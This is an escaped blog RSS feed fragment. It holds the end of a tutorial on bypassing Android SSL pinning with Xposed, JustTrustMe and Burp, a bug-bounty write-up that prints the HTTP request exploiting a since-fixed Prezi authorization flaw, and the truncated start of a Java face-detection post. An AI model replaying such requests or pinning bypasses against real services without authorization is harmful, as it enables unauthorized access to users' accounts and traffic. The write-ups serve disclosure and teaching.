&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd-wQJykFW0s702Cf1nvXR3Dln5cMTAKyzttZVJb4hT-2zhL2xwdFlys_qdVB18WaPUtAfmm_JoQPnJDMnkyHwOxhsaoKWW_EGRDxDR54XuL8Wq4n1rzsqy-k8L32CMtqMQclhUYBZHORU/s1600/3.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;686&quot; data-original-width=&quot;981&quot; height=&quot;444&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhd-wQJykFW0s702Cf1nvXR3Dln5cMTAKyzttZVJb4hT-2zhL2xwdFlys_qdVB18WaPUtAfmm_JoQPnJDMnkyHwOxhsaoKWW_EGRDxDR54XuL8Wq4n1rzsqy-k8L32CMtqMQclhUYBZHORU/s640/3.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Memu Android emulator :&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Download the emulator from&amp;nbsp;https://www.memuplay.com/&amp;nbsp;&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5FXuW4olTAjTm8bgjqTmX9Q-d1rD7HQWXp93yCbHYBNF7mcpPSW7nnCwfk_hjrrqBXTeSyLdwoP2sd2OX5krUXWVlSXxVykNLdjlPfSj3JdmAqS7coOPUmzCZ6c1IUPQIKluQmE2tT2Ij/s1600/4.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;253&quot; data-original-width=&quot;1422&quot; height=&quot;112&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5FXuW4olTAjTm8bgjqTmX9Q-d1rD7HQWXp93yCbHYBNF7mcpPSW7nnCwfk_hjrrqBXTeSyLdwoP2sd2OX5krUXWVlSXxVykNLdjlPfSj3JdmAqS7coOPUmzCZ6c1IUPQIKluQmE2tT2Ij/s640/4.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Install the emulator and open the same.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGFX-vQhAhPqWQrmu7I0MBMzsgcjm2jDkrH0g-wYVGvEOsV7VPcdnu5piaYGHGWUc7keqGGio5OrO2ImEQjgJfomAzwv7ZhUV57y_t9H5JqhZRNLKEUL_MZV7IeEKeWu4Y9Ec_D13Sk3_C/s1600/5.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;758&quot; data-original-width=&quot;1325&quot; height=&quot;364&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGFX-vQhAhPqWQrmu7I0MBMzsgcjm2jDkrH0g-wYVGvEOsV7VPcdnu5piaYGHGWUc7keqGGio5OrO2ImEQjgJfomAzwv7ZhUV57y_t9H5JqhZRNLKEUL_MZV7IeEKeWu4Y9Ec_D13Sk3_C/s640/5.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Click on &lt;b&gt;Settings &lt;/b&gt;button and then goto &lt;b&gt;Others &lt;/b&gt;tab&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKbLx3v-leEJMBW3BWnkRL0rpeJRKLhP8BdeL3dyOInZWGF73aImqEnP906kBu3Fi0rv0Snjbz6q4DGexDWzy0wCSzZAjcQdnakO8mWnhpp_rbh59tVH8YzVwb5A982Tm4x2fQLnjDb1Fb/s1600/6.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;758&quot; data-original-width=&quot;1325&quot; height=&quot;364&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiKbLx3v-leEJMBW3BWnkRL0rpeJRKLhP8BdeL3dyOInZWGF73aImqEnP906kBu3Fi0rv0Snjbz6q4DGexDWzy0wCSzZAjcQdnakO8mWnhpp_rbh59tVH8YzVwb5A982Tm4x2fQLnjDb1Fb/s640/6.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Click on &lt;b&gt;Enable &lt;/b&gt;for Root mode option&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHHzKTLkQPPu0CRzKpdEjdA2WrZwS28tgGXs2zLOy4k2tCNcpkn4LzXpasfmiW6hPuI0EsFHPgbML9NVKeSJqCsXkdXh_jNNNyla4AAHBl844Lt08WtSHsjcyRl7FhAKtRQ7Dzr4bI4ebr/s1600/7.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;652&quot; data-original-width=&quot;703&quot; height=&quot;592&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgHHzKTLkQPPu0CRzKpdEjdA2WrZwS28tgGXs2zLOy4k2tCNcpkn4LzXpasfmiW6hPuI0EsFHPgbML9NVKeSJqCsXkdXh_jNNNyla4AAHBl844Lt08WtSHsjcyRl7FhAKtRQ7Dzr4bI4ebr/s640/7.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Restart the emulator&lt;/li&gt;
&lt;li&gt;Click on &quot;Install APK&quot; button on the right side toolbar of Memu emulator&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5FIq8xyKAkcGfI5JedMEizjGfHRyc8A5nfGGfPVO8fjFj_txXYm7nVptLJDcUiMu1MEzHBiOqRcngy5OF1zBqW73TvEEQADTyG82Wo3_V1_ZxkoV7M1e6tp68pKlKedOHRQtcsGPyoZHL/s1600/8.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;758&quot; data-original-width=&quot;1325&quot; height=&quot;364&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5FIq8xyKAkcGfI5JedMEizjGfHRyc8A5nfGGfPVO8fjFj_txXYm7nVptLJDcUiMu1MEzHBiOqRcngy5OF1zBqW73TvEEQADTyG82Wo3_V1_ZxkoV7M1e6tp68pKlKedOHRQtcsGPyoZHL/s640/8.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Choose Xposed apk framework which was downloaded earlier&lt;/li&gt;
&lt;li&gt;Open the apk after installation&lt;/li&gt;
&lt;li&gt;Click on Install/Update option inside the apk&lt;/li&gt;
&lt;li&gt;After the installation is complete, restart the emulator&lt;/li&gt;
&lt;li&gt;If all went well, you will see something as shown below in screenshot&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5ZuYLy7IbL3Q_C5Vubbh8W6yZaHTUxnp7kMNiNe4KhYhgcGojhuoPFADAjFHKJqxYpvR-CO6wxGrmE8YlHl0RGPRvtKBeo1us_l4TzKYEw4iiUF7UWiJvJQaUdgxG1nMzYw2OH0RJlDPk/s1600/9.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;550&quot; data-original-width=&quot;1268&quot; height=&quot;275&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5ZuYLy7IbL3Q_C5Vubbh8W6yZaHTUxnp7kMNiNe4KhYhgcGojhuoPFADAjFHKJqxYpvR-CO6wxGrmE8YlHl0RGPRvtKBeo1us_l4TzKYEw4iiUF7UWiJvJQaUdgxG1nMzYw2OH0RJlDPk/s640/9.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Again, click on &quot;Install APK&quot; button on the right side toolbar of Memu emulator&lt;/li&gt;
&lt;li&gt;Choose JustTrustMe apk which was downloaded earlier&lt;/li&gt;
&lt;li&gt;After JustTrustMe&amp;nbsp;is installed, open Xposed&amp;nbsp;apk&lt;/li&gt;
&lt;li&gt;Open the Modules tab&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm-qwJ4eoOx_LAWFUDOGdEtD-pF7AleMUUGoNrDq7-zpugnzrYncVRaau0w06zxW8W8LQXJXWEzbImCoo3RY_5zo5DTEulsdSUNed0DCIttWIsODnYvlSslyBJ1mjU-3cPlLRE3zaxXun5/s1600/10.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;649&quot; data-original-width=&quot;1264&quot; height=&quot;328&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjm-qwJ4eoOx_LAWFUDOGdEtD-pF7AleMUUGoNrDq7-zpugnzrYncVRaau0w06zxW8W8LQXJXWEzbImCoo3RY_5zo5DTEulsdSUNed0DCIttWIsODnYvlSslyBJ1mjU-3cPlLRE3zaxXun5/s640/10.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Activate the JustTrustMe&amp;nbsp;module by ticking the checkbox&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA58mXVMNCPNv-q1_uPIySgeXv3Mf_2cI5dUNMQvCyqTmtKRlDJzg-lswKmjSi7Z6BWXKGHDZOFMgVpF5jviw1qm-YYUNt24iSFl3lqbIj1i6grYltWbzsclYj2aapYf0mUF_VUwjfuGD2/s1600/11.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;234&quot; data-original-width=&quot;1266&quot; height=&quot;116&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgA58mXVMNCPNv-q1_uPIySgeXv3Mf_2cI5dUNMQvCyqTmtKRlDJzg-lswKmjSi7Z6BWXKGHDZOFMgVpF5jviw1qm-YYUNt24iSFl3lqbIj1i6grYltWbzsclYj2aapYf0mUF_VUwjfuGD2/s640/11.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Now, goto Wifi-&amp;gt;Settings in the emulator&lt;/li&gt;
&lt;li&gt;Long press on the wifi name till you see option to Modify network&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL9nh2jZA_3SwqwUjcvuddROOaiDCzZY9YjlzR1tO7q5U_Ai2EHqVNPGZAOT1i1Huu0X9bRdyyEHWGPmJCxORy7gA9P3-B2sPuERKcSx0qkDUY6VnFSnOO9cZnOm6ovfxlc6xXSL-NKmyg/s1600/12.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;622&quot; data-original-width=&quot;1255&quot; height=&quot;315&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgL9nh2jZA_3SwqwUjcvuddROOaiDCzZY9YjlzR1tO7q5U_Ai2EHqVNPGZAOT1i1Huu0X9bRdyyEHWGPmJCxORy7gA9P3-B2sPuERKcSx0qkDUY6VnFSnOO9cZnOm6ovfxlc6xXSL-NKmyg/s640/12.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Click on Advanced option&lt;/li&gt;
&lt;li&gt;Mention the ip of your system and port as 8085 (as Burp is listening on this port)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6rCEoNXJ-hVS0HfR0hmJGHYkjQBwiseXz647YfmL3z6_Gk2gyQxkOEQf0O6ZDfjwD0e6mT-0NkZP67yx0ai6qQAaEByNE8M54G2ZvijRSeMKh_B-wvk5PkGZNoOlmK5u7ZqXkufsvRSix/s1600/13.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;663&quot; data-original-width=&quot;1163&quot; height=&quot;363&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6rCEoNXJ-hVS0HfR0hmJGHYkjQBwiseXz647YfmL3z6_Gk2gyQxkOEQf0O6ZDfjwD0e6mT-0NkZP67yx0ai6qQAaEByNE8M54G2ZvijRSeMKh_B-wvk5PkGZNoOlmK5u7ZqXkufsvRSix/s640/13.PNG&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;Open any apk on the emulator which has SSL pinning enabled&lt;/li&gt;
&lt;li&gt;Observe that Burp suite is capturing all traffic and stops giving SSL error.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihlUcL623o0WWPIrAu_qEIxp-8BPRurqYdh89M9haLLGp1cXjtA9anV53ndbQN5WPIpJY7GlWfM6-afuPAyJz2yJCyQ-K-UJevkih1VSBvyjyVXuRX4Pz8KbCgSoFRLQ6hg7NAk09uG1VB/s1600/14.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;147&quot; data-original-width=&quot;934&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihlUcL623o0WWPIrAu_qEIxp-8BPRurqYdh89M9haLLGp1cXjtA9anV53ndbQN5WPIpJY7GlWfM6-afuPAyJz2yJCyQ-K-UJevkih1VSBvyjyVXuRX4Pz8KbCgSoFRLQ6hg7NAk09uG1VB/s1600/14.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Note:&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
This post is only for educational purpose. Don&#39;t use this for any unauthorized activities.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Hope this helps.&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2018/11/ssl-pinning-bypass-on-android-emulator.html</link><author>noreply@blogger.com (csanuragjain)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8C9bn8ZqDRAsV0qILl3APUTAIbL3pnaKIpbAus8ToOBl_0Yibp9ukfgW6qztdIsFVttXH61j_BTY-x7fCvTV996bbsKX80aQKDJVZnOYl-aoD7m0GLJSu-OWeIoj3BtWiGr6wP12Z3kqv/s72-c/1.PNG" height="72" width="72"/><thr:total>46</thr:total><georss:featurename>India</georss:featurename><georss:point>20.593684 78.962880000000041</georss:point><georss:box>-8.6041045000000018 37.654286000000042 49.7914725 120.27147400000004</georss:box></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-5047012587781869653</guid><pubDate>Mon, 18 Sep 2017 14:25:00 +0000</pubDate><atom:updated>2017-09-18T07:25:06.227-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">auth</category><category domain="http://www.blogger.com/atom/ns#">authorization</category><category domain="http://www.blogger.com/atom/ns#">bounty</category><category domain="http://www.blogger.com/atom/ns#">bug</category><category domain="http://www.blogger.com/atom/ns#">bug-bounty</category><category domain="http://www.blogger.com/atom/ns#">idor</category><category domain="http://www.blogger.com/atom/ns#">prezi</category><category domain="http://www.blogger.com/atom/ns#">security</category><title>Authorization bug which I discovered in Prezi</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Prezi allows you to create cool presentation, which you can
later share with your audience. It also allows you to add collaborator who can
assist in your presentation creation&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
I started testing Prezi for security vulnerabilities
(bugbounty.prezi.com) and found an Authorization bug which allowed me to
Add/Delete/Modify Collaborator for any public prezi which were not even mine.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;Vulnerable Request:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
While adding collaborator to your prezi presentation, below
PUT request is fired&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
PUT /api/v1/share/&amp;lt;presentation_id&amp;gt;/permissions/
HTTP/1.1&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Host: prezi.com&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Connection: close&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Content-Length: 60&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
User-Agent: &amp;lt;User agent string&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Origin: https://prezi.com&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
x-csrftoken: &amp;lt;csrf_token&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
content-type: application/json&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Accept: */*&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Referer: https://prezi.com/dashboard/next/&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Accept-Language: en-US,en;q=0.8&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Cookie: &amp;lt;Cookie for attacker@gmail.com&amp;gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
{&quot;email&quot;:&quot;attackerNewIdOrRealCollaborator@gmail.com&quot;,&quot;permission&quot;:&quot;viewer&quot;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;Explanation of above
request:&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
1) &amp;lt;presentation_id&amp;gt; is Victim’s presentation&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
2) attacker@gmail.com: Attacker who is firing the above
request&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
3) attackerNewIdOrRealCollaborator@gmail.com: It can be
either Attacker id or a genuine collaborator of this presentation with editor
rights.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;b&gt;What happens:&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
1)&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;If Attacker used his own id in the body parameter, then he would become part of the presentation &amp;lt;presentation_id&amp;gt; without victim permission.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
2)&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;If Attacker used a genuine collaborator id having editor rights, then after firing this request, the collaborator permission would lower from editor to viewer only&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
3)&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;If Attacker, simply changes the above request header from PUT to delete then any collaborator (except owner) passed within body parameter would get deleted from that presentation&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
4)&lt;span style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;This attack worked only for public prezis (and not for private prezis) because they are somewhat special - everyone has view permissions by default, although they are not collaborators of it (people who are explicitly added to view/edit the prezi). The vulnerable endpoint unfortunately considered this &quot;default view permission&quot; as a &quot;collaborator permission&quot;, which allowed you to add anyone else as a view collaborator. This &quot;collaborator privilege&quot; enabled you to lower the existing collaborators&#39; permission to view level by re-adding them.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;




























































&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
I reported the same to Prezi which was fixed fast and Prezi
rewarded a nice bounty :)&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;
&lt;/div&gt;
</description><link>https://cooltrickshome.blogspot.com/2017/09/authorization-bug-which-i-discovered-in.html</link><author>noreply@blogger.com (csanuragjain)</author><thr:total>3</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1099539711585569086.post-350861393159579505</guid><pubDate>Sun, 23 Jul 2017 17:27:00 +0000</pubDate><atom:updated>2019-01-27T22:14:03.335-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">face</category><category domain="http://www.blogger.com/atom/ns#">facial</category><category domain="http://www.blogger.com/atom/ns#">frame</category><category domain="http://www.blogger.com/atom/ns#">image</category><category domain="http://www.blogger.com/atom/ns#">java</category><category domain="http://www.blogger.com/atom/ns#">match</category><category domain="http://www.blogger.com/atom/ns#">openimaj</category><category domain="http://www.blogger.com/atom/ns#">recognition</category><category domain="http://www.blogger.com/atom/ns#">sarxos</category><category domain="http://www.blogger.com/atom/ns#">webcam</category><title>Facial Detection using Java</title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
In this post, we will learn how to extract faces out of an image from webcam. We will make use of 2 library which are sarxos and&amp;nbsp;openimaj&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Language Used:&lt;/b&gt;&lt;br /&gt;
Java&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Git Repo:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://github.com/csanuragjain/extra/tree/master/FaceRecognition&quot;&gt;https://github.com/csanuragjain/extra/tree/master/FaceRecognition&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Website:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.com/2017/07/facial-recognition-using-java.html&quot;&gt;https://cooltrickshome.blogspot.com/2017/07/facial-recognition-using-java.html&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Pom Dependency:&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: &amp;quot;arial&amp;quot;; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;&quot;&gt;&lt;code style=&quot;color: black; word-wrap: normal;&quot;&gt; &amp;lt;dependency&amp;gt;  
   &amp;lt;groupId&amp;gt;org.openimaj&amp;lt;/groupId&amp;gt;  
   &amp;lt;artifactId&amp;gt;image-feature-extraction&amp;lt;/artifactId&amp;gt;  
   &amp;lt;version&amp;gt;1.3.5&amp;lt;/version&amp;gt;  
 &amp;lt;/dependency&amp;gt;  
 &amp;lt;dependency&amp;gt;  
      &amp;lt;artifactId&amp;gt;faces&amp;lt;/artifactId&amp;gt;  
      &amp;lt;groupId&amp;gt;org.openimaj&amp;lt;/groupId&amp;gt;  
      &amp;lt;version&amp;gt;1.3.5&amp;lt;/version&amp;gt;  
      &amp;lt;scope&amp;gt;compile&amp;lt;/scope&amp;gt;  
 &amp;lt;/dependency&amp;gt;  
 &amp;lt;dependency&amp;gt;  
        &amp;lt;groupId&amp;gt;com.github.sarxos&amp;lt;/groupId&amp;gt;  
        &amp;lt;artifactId&amp;gt;webcam-capture&amp;lt;/artifactId&amp;gt;  
        &amp;lt;version&amp;gt;0.3.11&amp;lt;/version&amp;gt;  
        &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt;  
   &amp;lt;/dependency&amp;gt;  
&lt;/code&gt;&lt;/pre&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;b&gt;Reference:&lt;/b&gt;&lt;br /&gt;
&lt;a href=&quot;https://cooltrickshome.blogspot.com/2016/11/take-snapshot-from-webcam-using-java-in.html&quot;&gt;https://cooltrickshome.blogspot.com/2016/11/take-snapshot-from-webcam-using-java-in.html&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;http://openimaj.org/&quot;&gt;http://openimaj.org/&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Program:&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;FaceDetector.java&lt;/i&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;i&gt;&lt;br /&gt;&lt;/i&gt;&lt;/b&gt;
&lt;i&gt;Variables:&lt;/i&gt;&lt;br /&gt;
